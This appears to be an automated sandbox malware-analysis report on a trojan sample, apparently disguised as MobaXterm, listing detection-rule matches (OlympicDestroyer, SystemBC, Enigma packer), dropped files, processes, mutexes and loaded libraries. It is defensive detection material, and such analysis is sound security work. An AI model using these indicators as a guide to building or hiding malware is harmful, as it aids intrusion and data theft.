Source: 6.0.MobServe.exe.7ff658940000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 5.0.MobServe.exe.7ff658940000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 0.2.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 6.2.MobServe.exe.7ff658940000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 5.2.MobServe.exe.7ff658940000.3.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000000.00000000.1315996686.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 00000000.00000002.3779477780.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe, type: DROPPED	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe, type: DROPPED	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: evb52F2.tmp.0.dr

Static PE information: Section

Source: classification engine

Classification label: mal88.troj.spyw.evad.winEXE@12/723@3/5

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 7_2_00416347 BeginPaint,EndPaint,SelectPalette,RealizePalette,BitBlt,GetLastError,FormatMessageA,ErrorF,LocalFree,EndPaint,EnumThreadWindows,

7_2_00416347

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1004D409 CreateToolhelp32Snapshot,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

0_2_1004D409

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1004C35C CoInitializeEx,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoCreateInstance,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,SysAllocString,_com_issue_error,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,

0_2_1004C35C

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 7_2_0052E860 CreateColormap,malloc,dixAllocatePrivates,free,_dixAllocateObjectWithPrivates,memset,memset,xreallocarray,free,memset,memset,memmove,memmove,memset,memset,xreallocarray,free,free,xreallocarray,free,free,free,AddResource,XaceHook,FreeResource,FreeResource,

7_2_0052E860

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Roaming\.mobaxterm

Jump to behavior

Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\{155222678-1234-1234-1234-123456789ABC}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\evb52E1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

File opened: C:\Windows\system32\058a473d2c7b54536dea7d331b96ae9d1f5e9d8b42b733dd82ef130cfeb26d1bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000840C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: XWin_MobaX.exe	String found in binary or memory: -help prints message with these options
Source: XWin_MobaX.exe	String found in binary or memory: -help
Source: XWin_MobaX.exe	String found in binary or memory: -from local-address specify the local address to connect from
Source: XWin_MobaX.exe	String found in binary or memory: --help
Source: XWin_MobaX.exe	String found in binary or memory: --help
Source: XWin_MobaX.exe	String found in binary or memory: -help prints message with these options
Source: XWin_MobaX.exe	String found in binary or memory: -from local-address specify the local address to connect from

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File read: C:\Users\user\Desktop\T2dvU8f2xg.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\T2dvU8f2xg.exe "C:\Users\user\Desktop\T2dvU8f2xg.exe"
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe "C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe "C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe"	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: libegl.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wship6.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libdl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: opengl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libx11-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxau-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-image-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-util-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxdmcp-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-shm-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-util-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxdmcp-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: glu32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: profapi.dll	Jump to behavior
